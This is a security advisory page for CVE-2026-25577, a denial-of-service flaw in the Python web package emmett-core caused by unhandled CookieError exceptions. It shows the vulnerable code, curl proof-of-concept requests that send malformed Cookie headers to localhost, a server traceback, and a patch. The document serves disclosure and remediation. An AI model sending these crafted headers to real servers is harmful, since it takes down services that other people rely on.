CVE-2026-25577 is a high-severity (CVSS 7.5) CWE-248 vulnerability in emmett-core. A fix is available for emmett-core — see the affected versions and patch details below.
Emmett has an Unhandled CookieError Exception Causing Denial of Service
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-25577.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
emmett-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The cookies property in emmett_core.http.wrappers.Request does not handle
CookieError exceptions when parsing malformed Cookie headers. This allows
unauthenticated attackers to trigger HTTP 500 errors and cause denial of service.
Details
Location: emmett_core/http/wrappers/__init__.py (line 64)
Vulnerable Code:
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
cookies.load(cookie) # No exception handling
return cookies
PoC
Sending cookies containing special characters such as /(){} will result in insufficient error handling and a server error.
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:/security=test"
Internal error
Time: 0.024363s
After the same error occurs several times, the server cannot process it normally.
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:(security=test"
Internal error
Time: 60.069334s
$ curl -w "\nTime: %{time_total}s\n" http://localhost:8000/ -H "Cookie:security=test"
Internal error
Time: 60.074031s
This is server log.
[2026-02-03 08:23:40,541] ERROR in handlers: Application exception:
Traceback (most recent call last):
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett/rsgi/handlers.py", line 70, in dynamic_handler
http = await self.router.dispatch(request, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/router.py", line 240, in dispatch
return await match.dispatch(reqargs, response)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 57, in dispatch
await self._parallel_flow(self.flow_open)
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/routing/dispatchers.py", line 17, in _parallel_flow
raise task.exception()
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/sessions.py", line 102, in open_request
if self.cookie_name in self.current.request.cookies:
^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/utils.py", line 37, in __get__
obj.__dict__[self.__name__] = rv = self.fget(obj)
~~~~~~~~~^^^^^
File "/home/geonwoo/.local/lib/python3.13/site-packages/emmett_core/http/wrappers/__init__.py", line 64, in cookies
cookies.load(cookie)
~~~~~~~~~~~~^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 516, in load
self.__parse_string(rawdata)
~~~~~~~~~~~~~~~~~~~^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 580, in __parse_string
self.__set(key, rval, cval)
~~~~~~~~~~^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 472, in __set
M.set(key, real_value, coded_value)
~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/http/cookies.py", line 335, in set
raise CookieError('Illegal key %r' % (key,))
http.cookies.CookieError: Illegal key '/security'
Impact
This vulnerability allows unauthenticated attackers to cause denial of service and performance degradation by sending malformed Cookie headers. After this vulnerability occurs, we expect it to be difficult to use the normal service.
patch
/emmett_core/http/wrappers/__init__.py
- from http.cookies import SimpleCookie
+ from http.cookies import SimpleCookie, CookieError # add CookieError
...
...
@cachedprop
def cookies(self) -> SimpleCookie:
cookies: SimpleCookie = SimpleCookie()
for cookie in self.headers.get("cookie", "").split(";"):
- cookies.load(cookie)
+ try:
+ cookies.load(cookie)
+ except CookieError:
+ continue
return cookies
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | emmett-core | all versions | 1.3.11pip install --upgrade 'emmett-core==1.3.11' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for emmett-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update emmett-core to 1.3.11 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-25577 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2026-25577 in your dependencies?
Find it across PyPI, including transitive dependencies.